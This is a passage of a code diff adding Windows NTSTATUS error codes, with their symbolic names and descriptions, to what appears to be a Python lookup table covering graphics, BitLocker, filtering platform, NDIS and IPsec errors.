+        0xC01E0355: ("STATUS_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT","The specified primary surface has a different private-format attribute than the current primary surface."),
+        0xC01E0356: ("STATUS_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM","The specified mode-pruning algorithm is invalid."),
+        0xC01E0357: ("STATUS_GRAPHICS_INVALID_MONITOR_CAPABILITY_ORIGIN","The specified monitor-capability origin is invalid."),
+        0xC01E0358: ("STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE_CONSTRAINT","The specified monitor-frequency range constraint is invalid."),
+        0xC01E0359: ("STATUS_GRAPHICS_MAX_NUM_PATHS_REACHED","The maximum supported number of present paths has been reached."),
+        0xC01E035A: ("STATUS_GRAPHICS_CANCEL_VIDPN_TOPOLOGY_AUGMENTATION","The miniport requested that augmentation be canceled for the specified source of the specified VidPN's topology."),
+        0xC01E035B: ("STATUS_GRAPHICS_INVALID_CLIENT_TYPE","The specified client type was not recognized."),
+        0xC01E035C: ("STATUS_GRAPHICS_CLIENTVIDPN_NOT_SET","The client VidPN is not set on this adapter (for example, no user mode-initiated mode changes have taken place on this adapter)."),
+        0xC01E0400: ("STATUS_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED","The specified display adapter child device already has an external device connected to it."),
+        0xC01E0401: ("STATUS_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED","The display adapter child device does not support reporting a descriptor."),
+        0xC01E0430: ("STATUS_GRAPHICS_NOT_A_LINKED_ADAPTER","The display adapter is not linked to any other adapters."),
+        0xC01E0431: ("STATUS_GRAPHICS_LEADLINK_NOT_ENUMERATED","The lead adapter in a linked configuration was not enumerated yet."),
+        0xC01E0432: ("STATUS_GRAPHICS_CHAINLINKS_NOT_ENUMERATED","Some chain adapters in a linked configuration have not yet been enumerated."),
+        0xC01E0433: ("STATUS_GRAPHICS_ADAPTER_CHAIN_NOT_READY","The chain of linked adapters is not ready to start because of an unknown failure."),
+        0xC01E0434: ("STATUS_GRAPHICS_CHAINLINKS_NOT_STARTED","An attempt was made to start a lead link display adapter when the chain links had not yet started."),
+        0xC01E0435: ("STATUS_GRAPHICS_CHAINLINKS_NOT_POWERED_ON","An attempt was made to turn on a lead link display adapter when the chain links were turned off."),
+        0xC01E0436: ("STATUS_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE","The adapter link was found in an inconsistent state. Not all adapters are in an expected PNP/power state."),
+        0xC01E0438: ("STATUS_GRAPHICS_NOT_POST_DEVICE_DRIVER","The driver trying to start is not the same as the driver for the posted display adapter."),
+        0xC01E043B: ("STATUS_GRAPHICS_ADAPTER_ACCESS_NOT_EXCLUDED","An operation is being attempted that requires the display adapter to be in a quiescent state."),
+        0xC01E0500: ("STATUS_GRAPHICS_OPM_NOT_SUPPORTED","The driver does not support OPM."),
+        0xC01E0501: ("STATUS_GRAPHICS_COPP_NOT_SUPPORTED","The driver does not support COPP."),
+        0xC01E0502: ("STATUS_GRAPHICS_UAB_NOT_SUPPORTED","The driver does not support UAB."),
+        0xC01E0503: ("STATUS_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS","The specified encrypted parameters are invalid."),
+        0xC01E0504: ("STATUS_GRAPHICS_OPM_PARAMETER_ARRAY_TOO_SMALL","An array passed to a function cannot hold all of the data that the function wants to put in it."),
+        0xC01E0505: ("STATUS_GRAPHICS_OPM_NO_PROTECTED_OUTPUTS_EXIST","The GDI display device passed to this function does not have any active protected outputs."),
+        0xC01E0506: ("STATUS_GRAPHICS_PVP_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME","The PVP cannot find an actual GDI display device that corresponds to the passed-in GDI display device name."),
+        0xC01E0507: ("STATUS_GRAPHICS_PVP_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP","This function failed because the GDI display device passed to it was not attached to the Windows desktop."),
+        0xC01E0508: ("STATUS_GRAPHICS_PVP_MIRRORING_DEVICES_NOT_SUPPORTED","The PVP does not support mirroring display devices because they do not have any protected outputs."),
+        0xC01E050A: ("STATUS_GRAPHICS_OPM_INVALID_POINTER","The function failed because an invalid pointer parameter was passed to it. A pointer parameter is invalid if it is null, is not correctly aligned, or it points to an invalid address or a kernel mode address."),
+        0xC01E050B: ("STATUS_GRAPHICS_OPM_INTERNAL_ERROR","An internal error caused an operation to fail."),
+        0xC01E050C: ("STATUS_GRAPHICS_OPM_INVALID_HANDLE","The function failed because the caller passed in an invalid OPM user-mode handle."),
+        0xC01E050D: ("STATUS_GRAPHICS_PVP_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE","This function failed because the GDI device passed to it did not have any monitors associated with it."),
+        0xC01E050E: ("STATUS_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH","A certificate could not be returned because the certificate buffer passed to the function was too small."),
+        0xC01E050F: ("STATUS_GRAPHICS_OPM_SPANNING_MODE_ENABLED","DxgkDdiOpmCreateProtectedOutput() could not create a protected output because the video present yarget is in spanning mode."),
+        0xC01E0510: ("STATUS_GRAPHICS_OPM_THEATER_MODE_ENABLED","DxgkDdiOpmCreateProtectedOutput() could not create a protected output because the video present target is in theater mode."),
+        0xC01E0511: ("STATUS_GRAPHICS_PVP_HFS_FAILED","The function call failed because the display adapter's hardware functionality scan (HFS) failed to validate the graphics hardware."),
+        0xC01E0512: ("STATUS_GRAPHICS_OPM_INVALID_SRM","The HDCP SRM passed to this function did not comply with section 5 of the HDCP 1.1 specification."),
+        0xC01E0513: ("STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP","The protected output cannot enable the HDCP system because it does not support it."),
+        0xC01E0514: ("STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP","The protected output cannot enable analog copy protection because it does not support it."),
+        0xC01E0515: ("STATUS_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA","The protected output cannot enable the CGMS-A protection technology because it does not support it."),
+        0xC01E0516: ("STATUS_GRAPHICS_OPM_HDCP_SRM_NEVER_SET","DxgkDdiOPMGetInformation() cannot return the version of the SRM being used because the application never successfully passed an SRM to the protected output."),
+        0xC01E0517: ("STATUS_GRAPHICS_OPM_RESOLUTION_TOO_HIGH","DxgkDdiOPMConfigureProtectedOutput() cannot enable the specified output protection technology because the output's screen resolution is too high."),
+        0xC01E0518: ("STATUS_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE","DxgkDdiOPMConfigureProtectedOutput() cannot enable HDCP because other physical outputs are using the display adapter's HDCP hardware."),
+        0xC01E051A: ("STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_NO_LONGER_EXISTS","The operating system asynchronously destroyed this OPM-protected output because the operating system state changed. This error typically occurs because the monitor PDO associated with this protected output was removed or stopped, the protected output's session became a nonconsole session, or the protected output's desktop became inactive."),
+        0xC01E051B: ("STATUS_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS","OPM functions cannot be called when a session is changing its type. Three types of sessions currently exist: console, disconnected, and remote (RDP or ICA)."),
+        0xC01E051C: ("STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_COPP_SEMANTICS","The DxgkDdiOPMGetCOPPCompatibleInformation, DxgkDdiOPMGetInformation, or DxgkDdiOPMConfigureProtectedOutput function failed. This error is returned only if a protected output has OPM semantics.  DxgkDdiOPMGetCOPPCompatibleInformation always returns this error if a protected output has OPM semantics.  DxgkDdiOPMGetInformation returns this error code if the caller requested COPP-specific information.  DxgkDdiOPMConfigureProtectedOutput returns this error when the caller tries to use a COPP-specific command."),
+        0xC01E051D: ("STATUS_GRAPHICS_OPM_INVALID_INFORMATION_REQUEST","The DxgkDdiOPMGetInformation and DxgkDdiOPMGetCOPPCompatibleInformation functions return this error code if the passed-in sequence number is not the expected sequence number or the passed-in OMAC value is invalid."),
+        0xC01E051E: ("STATUS_GRAPHICS_OPM_DRIVER_INTERNAL_ERROR","The function failed because an unexpected error occurred inside a display driver."),
+        0xC01E051F: ("STATUS_GRAPHICS_OPM_PROTECTED_OUTPUT_DOES_NOT_HAVE_OPM_SEMANTICS","The DxgkDdiOPMGetCOPPCompatibleInformation, DxgkDdiOPMGetInformation, or DxgkDdiOPMConfigureProtectedOutput function failed. This error is returned only if a protected output has COPP semantics.  DxgkDdiOPMGetCOPPCompatibleInformation returns this error code if the caller requested OPM-specific information.  DxgkDdiOPMGetInformation always returns this error if a protected output has COPP semantics.  DxgkDdiOPMConfigureProtectedOutput returns this error when the caller tries to use an OPM-specific command."),
+        0xC01E0520: ("STATUS_GRAPHICS_OPM_SIGNALING_NOT_SUPPORTED","The DxgkDdiOPMGetCOPPCompatibleInformation and DxgkDdiOPMConfigureProtectedOutput functions return this error if the display driver does not support the DXGKMDT_OPM_GET_ACP_AND_CGMSA_SIGNALING and DXGKMDT_OPM_SET_ACP_AND_CGMSA_SIGNALING GUIDs."),
+        0xC01E0521: ("STATUS_GRAPHICS_OPM_INVALID_CONFIGURATION_REQUEST","The DxgkDdiOPMConfigureProtectedOutput function returns this error code if the passed-in sequence number is not the expected sequence number or the passed-in OMAC value is invalid."),
+        0xC01E0580: ("STATUS_GRAPHICS_I2C_NOT_SUPPORTED","The monitor connected to the specified video output does not have an I2C bus."),
+        0xC01E0581: ("STATUS_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST","No device on the I2C bus has the specified address."),
+        0xC01E0582: ("STATUS_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA","An error occurred while transmitting data to the device on the I2C bus."),
+        0xC01E0583: ("STATUS_GRAPHICS_I2C_ERROR_RECEIVING_DATA","An error occurred while receiving data from the device on the I2C bus."),
+        0xC01E0584: ("STATUS_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED","The monitor does not support the specified VCP code."),
+        0xC01E0585: ("STATUS_GRAPHICS_DDCCI_INVALID_DATA","The data received from the monitor is invalid."),
+        0xC01E0586: ("STATUS_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE","A function call failed because a monitor returned an invalid timing status byte when the operating system used the DDC/CI get timing report and timing message command to get a timing report from a monitor."),
+        0xC01E0587: ("STATUS_GRAPHICS_DDCCI_INVALID_CAPABILITIES_STRING","A monitor returned a DDC/CI capabilities string that did not comply with the ACCESS.bus 3.0, DDC/CI 1.1, or MCCS 2 Revision 1 specification."),
+        0xC01E0588: ("STATUS_GRAPHICS_MCA_INTERNAL_ERROR","An internal error caused an operation to fail."),
+        0xC01E0589: ("STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND","An operation failed because a DDC/CI message had an invalid value in its command field."),
+        0xC01E058A: ("STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH","This error occurred because a DDC/CI message had an invalid value in its length field."),
+        0xC01E058B: ("STATUS_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM","This error occurred because the value in a DDC/CI message's checksum field did not match the message's computed checksum value. This error implies that the data was corrupted while it was being transmitted from a monitor to a computer."),
+        0xC01E058C: ("STATUS_GRAPHICS_INVALID_PHYSICAL_MONITOR_HANDLE","This function failed because an invalid monitor handle was passed to it."),
+        0xC01E058D: ("STATUS_GRAPHICS_MONITOR_NO_LONGER_EXISTS","The operating system asynchronously destroyed the monitor that corresponds to this handle because the operating system's state changed. This error typically occurs because the monitor PDO associated with this handle was removed or stopped, or a display mode change occurred. A display mode change occurs when Windows sends a WM_DISPLAYCHANGE message to applications."),
+        0xC01E05E0: ("STATUS_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED","This function can be used only if a program is running in the local console session. It cannot be used if a program is running on a remote desktop session or on a terminal server session."),
+        0xC01E05E1: ("STATUS_GRAPHICS_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME","This function cannot find an actual GDI display device that corresponds to the specified GDI display device name."),
+        0xC01E05E2: ("STATUS_GRAPHICS_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP","The function failed because the specified GDI display device was not attached to the Windows desktop."),
+        0xC01E05E3: ("STATUS_GRAPHICS_MIRRORING_DEVICES_NOT_SUPPORTED","This function does not support GDI mirroring display devices because GDI mirroring display devices do not have any physical monitors associated with them."),
+        0xC01E05E4: ("STATUS_GRAPHICS_INVALID_POINTER","The function failed because an invalid pointer parameter was passed to it. A pointer parameter is invalid if it is null, is not correctly aligned, or points to an invalid address or to a kernel mode address."),
+        0xC01E05E5: ("STATUS_GRAPHICS_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE","This function failed because the GDI device passed to it did not have a monitor associated with it."),
+        0xC01E05E6: ("STATUS_GRAPHICS_PARAMETER_ARRAY_TOO_SMALL","An array passed to the function cannot hold all of the data that the function must copy into the array."),
+        0xC01E05E7: ("STATUS_GRAPHICS_INTERNAL_ERROR","An internal error caused an operation to fail."),
+        0xC01E05E8: ("STATUS_GRAPHICS_SESSION_TYPE_CHANGE_IN_PROGRESS","The function failed because the current session is changing its type. This function cannot be called when the current session is changing its type. Three types of sessions currently exist: console, disconnected, and remote (RDP or ICA)."),
+        0xC0210000: ("STATUS_FVE_LOCKED_VOLUME","The volume must be unlocked before it can be used."),
+        0xC0210001: ("STATUS_FVE_NOT_ENCRYPTED","The volume is fully decrypted and no key is available."),
+        0xC0210002: ("STATUS_FVE_BAD_INFORMATION","The control block for the encrypted volume is not valid."),
+        0xC0210003: ("STATUS_FVE_TOO_SMALL","Not enough free space remains on the volume to allow encryption."),
+        0xC0210004: ("STATUS_FVE_FAILED_WRONG_FS","The partition cannot be encrypted because the file system is not supported."),
+        0xC0210005: ("STATUS_FVE_FAILED_BAD_FS","The file system is inconsistent. Run the Check Disk utility."),
+        0xC0210006: ("STATUS_FVE_FS_NOT_EXTENDED","The file system does not extend to the end of the volume."),
+        0xC0210007: ("STATUS_FVE_FS_MOUNTED","This operation cannot be performed while a file system is mounted on the volume."),
+        0xC0210008: ("STATUS_FVE_NO_LICENSE","BitLocker Drive Encryption is not included with this version of Windows."),
+        0xC0210009: ("STATUS_FVE_ACTION_NOT_ALLOWED","The requested action was denied by the FVE control engine."),
+        0xC021000A: ("STATUS_FVE_BAD_DATA","The data supplied is malformed."),
+        0xC021000B: ("STATUS_FVE_VOLUME_NOT_BOUND","The volume is not bound to the system."),
+        0xC021000C: ("STATUS_FVE_NOT_DATA_VOLUME","The volume specified is not a data volume."),
+        0xC021000D: ("STATUS_FVE_CONV_READ_ERROR","A read operation failed while converting the volume."),
+        0xC021000E: ("STATUS_FVE_CONV_WRITE_ERROR","A write operation failed while converting the volume."),
+        0xC021000F: ("STATUS_FVE_OVERLAPPED_UPDATE","The control block for the encrypted volume was updated by another thread. Try again."),
+        0xC0210010: ("STATUS_FVE_FAILED_SECTOR_SIZE","The volume encryption algorithm cannot be used on this sector size."),
+        0xC0210011: ("STATUS_FVE_FAILED_AUTHENTICATION","BitLocker recovery authentication failed."),
+        0xC0210012: ("STATUS_FVE_NOT_OS_VOLUME","The volume specified is not the boot operating system volume."),
+        0xC0210013: ("STATUS_FVE_KEYFILE_NOT_FOUND","The BitLocker startup key or recovery password could not be read from external media."),
+        0xC0210014: ("STATUS_FVE_KEYFILE_INVALID","The BitLocker startup key or recovery password file is corrupt or invalid."),
+        0xC0210015: ("STATUS_FVE_KEYFILE_NO_VMK","The BitLocker encryption key could not be obtained from the startup key or the recovery password."),
+        0xC0210016: ("STATUS_FVE_TPM_DISABLED","The TPM is disabled."),
+        0xC0210017: ("STATUS_FVE_TPM_SRK_AUTH_NOT_ZERO","The authorization data for the SRK of the TPM is not zero."),
+        0xC0210018: ("STATUS_FVE_TPM_INVALID_PCR","The system boot information changed or the TPM locked out access to BitLocker encryption keys until the computer is restarted."),
+        0xC0210019: ("STATUS_FVE_TPM_NO_VMK","The BitLocker encryption key could not be obtained from the TPM."),
+        0xC021001A: ("STATUS_FVE_PIN_INVALID","The BitLocker encryption key could not be obtained from the TPM and PIN."),
+        0xC021001B: ("STATUS_FVE_AUTH_INVALID_APPLICATION","A boot application hash does not match the hash computed when BitLocker was turned on."),
+        0xC021001C: ("STATUS_FVE_AUTH_INVALID_CONFIG","The Boot Configuration Data (BCD) settings are not supported or have changed because BitLocker was enabled."),
+        0xC021001D: ("STATUS_FVE_DEBUGGER_ENABLED","Boot debugging is enabled. Run Windows Boot Configuration Data Store Editor (bcdedit.exe) to turn it off."),
+        0xC021001E: ("STATUS_FVE_DRY_RUN_FAILED","The BitLocker encryption key could not be obtained."),
+        0xC021001F: ("STATUS_FVE_BAD_METADATA_POINTER","The metadata disk region pointer is incorrect."),
+        0xC0210020: ("STATUS_FVE_OLD_METADATA_COPY","The backup copy of the metadata is out of date."),
+        0xC0210021: ("STATUS_FVE_REBOOT_REQUIRED","No action was taken because a system restart is required."),
+        0xC0210022: ("STATUS_FVE_RAW_ACCESS","No action was taken because BitLocker Drive Encryption is in RAW access mode."),
+        0xC0210023: ("STATUS_FVE_RAW_BLOCKED","BitLocker Drive Encryption cannot enter RAW access mode for this volume."),
+        0xC0210026: ("STATUS_FVE_NO_FEATURE_LICENSE","This feature of BitLocker Drive Encryption is not included with this version of Windows."),
+        0xC0210027: ("STATUS_FVE_POLICY_USER_DISABLE_RDV_NOT_ALLOWED","Group policy does not permit turning off BitLocker Drive Encryption on roaming data volumes."),
+        0xC0210028: ("STATUS_FVE_CONV_RECOVERY_FAILED","Bitlocker Drive Encryption failed to recover from aborted conversion. This could be due to either all conversion logs being corrupted or the media being write-protected."),
+        0xC0210029: ("STATUS_FVE_VIRTUALIZED_SPACE_TOO_BIG","The requested virtualization size is too big."),
+        0xC0210030: ("STATUS_FVE_VOLUME_TOO_SMALL","The drive is too small to be protected using BitLocker Drive Encryption."),
+        0xC0220001: ("STATUS_FWP_CALLOUT_NOT_FOUND","The callout does not exist."),
+        0xC0220002: ("STATUS_FWP_CONDITION_NOT_FOUND","The filter condition does not exist."),
+        0xC0220003: ("STATUS_FWP_FILTER_NOT_FOUND","The filter does not exist."),
+        0xC0220004: ("STATUS_FWP_LAYER_NOT_FOUND","The layer does not exist."),
+        0xC0220005: ("STATUS_FWP_PROVIDER_NOT_FOUND","The provider does not exist."),
+        0xC0220006: ("STATUS_FWP_PROVIDER_CONTEXT_NOT_FOUND","The provider context does not exist."),
+        0xC0220007: ("STATUS_FWP_SUBLAYER_NOT_FOUND","The sublayer does not exist."),
+        0xC0220008: ("STATUS_FWP_NOT_FOUND","The object does not exist."),
+        0xC0220009: ("STATUS_FWP_ALREADY_EXISTS","An object with that GUID or LUID already exists."),
+        0xC022000A: ("STATUS_FWP_IN_USE","The object is referenced by other objects and cannot be deleted."),
+        0xC022000B: ("STATUS_FWP_DYNAMIC_SESSION_IN_PROGRESS","The call is not allowed from within a dynamic session."),
+        0xC022000C: ("STATUS_FWP_WRONG_SESSION","The call was made from the wrong session and cannot be completed."),
+        0xC022000D: ("STATUS_FWP_NO_TXN_IN_PROGRESS","The call must be made from within an explicit transaction."),
+        0xC022000E: ("STATUS_FWP_TXN_IN_PROGRESS","The call is not allowed from within an explicit transaction."),
+        0xC022000F: ("STATUS_FWP_TXN_ABORTED","The explicit transaction has been forcibly canceled."),
+        0xC0220010: ("STATUS_FWP_SESSION_ABORTED","The session has been canceled."),
+        0xC0220011: ("STATUS_FWP_INCOMPATIBLE_TXN","The call is not allowed from within a read-only transaction."),
+        0xC0220012: ("STATUS_FWP_TIMEOUT","The call timed out while waiting to acquire the transaction lock."),
+        0xC0220013: ("STATUS_FWP_NET_EVENTS_DISABLED","The collection of network diagnostic events is disabled."),
+        0xC0220014: ("STATUS_FWP_INCOMPATIBLE_LAYER","The operation is not supported by the specified layer."),
+        0xC0220015: ("STATUS_FWP_KM_CLIENTS_ONLY","The call is allowed for kernel-mode callers only."),
+        0xC0220016: ("STATUS_FWP_LIFETIME_MISMATCH","The call tried to associate two objects with incompatible lifetimes."),
+        0xC0220017: ("STATUS_FWP_BUILTIN_OBJECT","The object is built-in and cannot be deleted."),
+        0xC0220018: ("STATUS_FWP_TOO_MANY_BOOTTIME_FILTERS","The maximum number of boot-time filters has been reached."),
+        0xC0220018: ("STATUS_FWP_TOO_MANY_CALLOUTS","The maximum number of callouts has been reached."),
+        0xC0220019: ("STATUS_FWP_NOTIFICATION_DROPPED","A notification could not be delivered because a message queue has reached maximum capacity."),
+        0xC022001A: ("STATUS_FWP_TRAFFIC_MISMATCH","The traffic parameters do not match those for the security association context."),
+        0xC022001B: ("STATUS_FWP_INCOMPATIBLE_SA_STATE","The call is not allowed for the current security association state."),
+        0xC022001C: ("STATUS_FWP_NULL_POINTER","A required pointer is null."),
+        0xC022001D: ("STATUS_FWP_INVALID_ENUMERATOR","An enumerator is not valid."),
+        0xC022001E: ("STATUS_FWP_INVALID_FLAGS","The flags field contains an invalid value."),
+        0xC022001F: ("STATUS_FWP_INVALID_NET_MASK","A network mask is not valid."),
+        0xC0220020: ("STATUS_FWP_INVALID_RANGE","An FWP_RANGE is not valid."),
+        0xC0220021: ("STATUS_FWP_INVALID_INTERVAL","The time interval is not valid."),
+        0xC0220022: ("STATUS_FWP_ZERO_LENGTH_ARRAY","An array that must contain at least one element has a zero length."),
+        0xC0220023: ("STATUS_FWP_NULL_DISPLAY_NAME","The displayData.name field cannot be null."),
+        0xC0220024: ("STATUS_FWP_INVALID_ACTION_TYPE","The action type is not one of the allowed action types for a filter."),
+        0xC0220025: ("STATUS_FWP_INVALID_WEIGHT","The filter weight is not valid."),
+        0xC0220026: ("STATUS_FWP_MATCH_TYPE_MISMATCH","A filter condition contains a match type that is not compatible with the operands."),
+        0xC0220027: ("STATUS_FWP_TYPE_MISMATCH","An FWP_VALUE or FWPM_CONDITION_VALUE is of the wrong type."),
+        0xC0220028: ("STATUS_FWP_OUT_OF_BOUNDS","An integer value is outside the allowed range."),
+        0xC0220029: ("STATUS_FWP_RESERVED","A reserved field is nonzero."),
+        0xC022002A: ("STATUS_FWP_DUPLICATE_CONDITION","A filter cannot contain multiple conditions operating on a single field."),
+        0xC022002B: ("STATUS_FWP_DUPLICATE_KEYMOD","A policy cannot contain the same keying module more than once."),
+        0xC022002C: ("STATUS_FWP_ACTION_INCOMPATIBLE_WITH_LAYER","The action type is not compatible with the layer."),
+        0xC022002D: ("STATUS_FWP_ACTION_INCOMPATIBLE_WITH_SUBLAYER","The action type is not compatible with the sublayer."),
+        0xC022002E: ("STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_LAYER","The raw context or the provider context is not compatible with the layer."),
+        0xC022002F: ("STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_CALLOUT","The raw context or the provider context is not compatible with the callout."),
+        0xC0220030: ("STATUS_FWP_INCOMPATIBLE_AUTH_METHOD","The authentication method is not compatible with the policy type."),
+        0xC0220031: ("STATUS_FWP_INCOMPATIBLE_DH_GROUP","The Diffie-Hellman group is not compatible with the policy type."),
+        0xC0220032: ("STATUS_FWP_EM_NOT_SUPPORTED","An IKE policy cannot contain an Extended Mode policy."),
+        0xC0220033: ("STATUS_FWP_NEVER_MATCH","The enumeration template or subscription will never match any objects."),
+        0xC0220034: ("STATUS_FWP_PROVIDER_CONTEXT_MISMATCH","The provider context is of the wrong type."),
+        0xC0220035: ("STATUS_FWP_INVALID_PARAMETER","The parameter is incorrect."),
+        0xC0220036: ("STATUS_FWP_TOO_MANY_SUBLAYERS","The maximum number of sublayers has been reached."),
+        0xC0220037: ("STATUS_FWP_CALLOUT_NOTIFICATION_FAILED","The notification function for a callout returned an error."),
+        0xC0220038: ("STATUS_FWP_INCOMPATIBLE_AUTH_CONFIG","The IPsec authentication configuration is not compatible with the authentication type."),
+        0xC0220039: ("STATUS_FWP_INCOMPATIBLE_CIPHER_CONFIG","The IPsec cipher configuration is not compatible with the cipher type."),
+        0xC022003C: ("STATUS_FWP_DUPLICATE_AUTH_METHOD","A policy cannot contain the same auth method more than once."),
+        0xC0220100: ("STATUS_FWP_TCPIP_NOT_READY","The TCP/IP stack is not ready."),
+        0xC0220101: ("STATUS_FWP_INJECT_HANDLE_CLOSING","The injection handle is being closed by another thread."),
+        0xC0220102: ("STATUS_FWP_INJECT_HANDLE_STALE","The injection handle is stale."),
+        0xC0220103: ("STATUS_FWP_CANNOT_PEND","The classify cannot be pended."),
+        0xC0230002: ("STATUS_NDIS_CLOSING","The binding to the network interface is being closed."),
+        0xC0230004: ("STATUS_NDIS_BAD_VERSION","An invalid version was specified."),
+        0xC0230005: ("STATUS_NDIS_BAD_CHARACTERISTICS","An invalid characteristics table was used."),
+        0xC0230006: ("STATUS_NDIS_ADAPTER_NOT_FOUND","Failed to find the network interface or the network interface is not ready."),
+        0xC0230007: ("STATUS_NDIS_OPEN_FAILED","Failed to open the network interface."),
+        0xC0230008: ("STATUS_NDIS_DEVICE_FAILED","The network interface has encountered an internal unrecoverable failure."),
+        0xC0230009: ("STATUS_NDIS_MULTICAST_FULL","The multicast list on the network interface is full."),
+        0xC023000A: ("STATUS_NDIS_MULTICAST_EXISTS","An attempt was made to add a duplicate multicast address to the list."),
+        0xC023000B: ("STATUS_NDIS_MULTICAST_NOT_FOUND","At attempt was made to remove a multicast address that was never added."),
+        0xC023000C: ("STATUS_NDIS_REQUEST_ABORTED","The network interface aborted the request."),
+        0xC023000D: ("STATUS_NDIS_RESET_IN_PROGRESS","The network interface cannot process the request because it is being reset."),
+        0xC023000F: ("STATUS_NDIS_INVALID_PACKET","An attempt was made to send an invalid packet on a network interface."),
+        0xC0230010: ("STATUS_NDIS_INVALID_DEVICE_REQUEST","The specified request is not a valid operation for the target device."),
+        0xC0230011: ("STATUS_NDIS_ADAPTER_NOT_READY","The network interface is not ready to complete this operation."),
+        0xC0230014: ("STATUS_NDIS_INVALID_LENGTH","The length of the buffer submitted for this operation is not valid."),
+        0xC0230015: ("STATUS_NDIS_INVALID_DATA","The data used for this operation is not valid."),
+        0xC0230016: ("STATUS_NDIS_BUFFER_TOO_SHORT","The length of the submitted buffer for this operation is too small."),
+        0xC0230017: ("STATUS_NDIS_INVALID_OID","The network interface does not support this object identifier."),
+        0xC0230018: ("STATUS_NDIS_ADAPTER_REMOVED","The network interface has been removed."),
+        0xC0230019: ("STATUS_NDIS_UNSUPPORTED_MEDIA","The network interface does not support this media type."),
+        0xC023001A: ("STATUS_NDIS_GROUP_ADDRESS_IN_USE","An attempt was made to remove a token ring group address that is in use by other components."),
+        0xC023001B: ("STATUS_NDIS_FILE_NOT_FOUND","An attempt was made to map a file that cannot be found."),
+        0xC023001C: ("STATUS_NDIS_ERROR_READING_FILE","An error occurred while NDIS tried to map the file."),
+        0xC023001D: ("STATUS_NDIS_ALREADY_MAPPED","An attempt was made to map a file that is already mapped."),
+        0xC023001E: ("STATUS_NDIS_RESOURCE_CONFLICT","An attempt to allocate a hardware resource failed because the resource is used by another component."),
+        0xC023001F: ("STATUS_NDIS_MEDIA_DISCONNECTED","The I/O operation failed because the network media is disconnected or the wireless access point is out of range."),
+        0xC0230022: ("STATUS_NDIS_INVALID_ADDRESS","The network address used in the request is invalid."),
+        0xC023002A: ("STATUS_NDIS_PAUSED","The offload operation on the network interface has been paused."),
+        0xC023002B: ("STATUS_NDIS_INTERFACE_NOT_FOUND","The network interface was not found."),
+        0xC023002C: ("STATUS_NDIS_UNSUPPORTED_REVISION","The revision number specified in the structure is not supported."),
+        0xC023002D: ("STATUS_NDIS_INVALID_PORT","The specified port does not exist on this network interface."),
+        0xC023002E: ("STATUS_NDIS_INVALID_PORT_STATE","The current state of the specified port on this network interface does not support the requested operation."),
+        0xC023002F: ("STATUS_NDIS_LOW_POWER_STATE","The miniport adapter is in a lower power state."),
+        0xC02300BB: ("STATUS_NDIS_NOT_SUPPORTED","The network interface does not support this request."),
+        0xC023100F: ("STATUS_NDIS_OFFLOAD_POLICY","The TCP connection is not offloadable because of a local policy setting."),
+        0xC0231012: ("STATUS_NDIS_OFFLOAD_CONNECTION_REJECTED","The TCP connection is not offloadable by the Chimney offload target."),
+        0xC0231013: ("STATUS_NDIS_OFFLOAD_PATH_REJECTED","The IP Path object is not in an offloadable state."),
+        0xC0232000: ("STATUS_NDIS_DOT11_AUTO_CONFIG_ENABLED","The wireless LAN interface is in auto-configuration mode and does not support the requested parameter change operation."),
+        0xC0232001: ("STATUS_NDIS_DOT11_MEDIA_IN_USE","The wireless LAN interface is busy and cannot perform the requested operation."),
+        0xC0232002: ("STATUS_NDIS_DOT11_POWER_STATE_INVALID","The wireless LAN interface is power down and does not support the requested operation."),
+        0xC0232003: ("STATUS_NDIS_PM_WOL_PATTERN_LIST_FULL","The list of wake on LAN patterns is full."),
+        0xC0232004: ("STATUS_NDIS_PM_PROTOCOL_OFFLOAD_LIST_FULL","The list of low power protocol offloads is full."),
+        0xC0360001: ("STATUS_IPSEC_BAD_SPI","The SPI in the packet does not match a valid IPsec SA."),
+        0xC0360002: ("STATUS_IPSEC_SA_LIFETIME_EXPIRED","The packet was received on an IPsec SA whose lifetime has expired."),
+        0xC0360003: ("STATUS_IPSEC_WRONG_SA","The packet was received on an IPsec SA that does not match the packet characteristics."),
+        0xC0360004: ("STATUS_IPSEC_REPLAY_CHECK_FAILED","The packet sequence number replay check failed."),
+        0xC0360005: ("STATUS_IPSEC_INVALID_PACKET","The IPsec header and/or trailer in the packet is invalid."),
+        0xC0360006: ("STATUS_IPSEC_INTEGRITY_CHECK_FAILED","The IPsec integrity check failed."),
+        0xC0360007: ("STATUS_IPSEC_CLEAR_TEXT_DROP","IPsec dropped a clear text packet."),
+        0xC0360008: ("STATUS_IPSEC_AUTH_FIREWALL_DROP","IPsec dropped an incoming ESP packet in authenticated firewall mode. This drop is benign."),
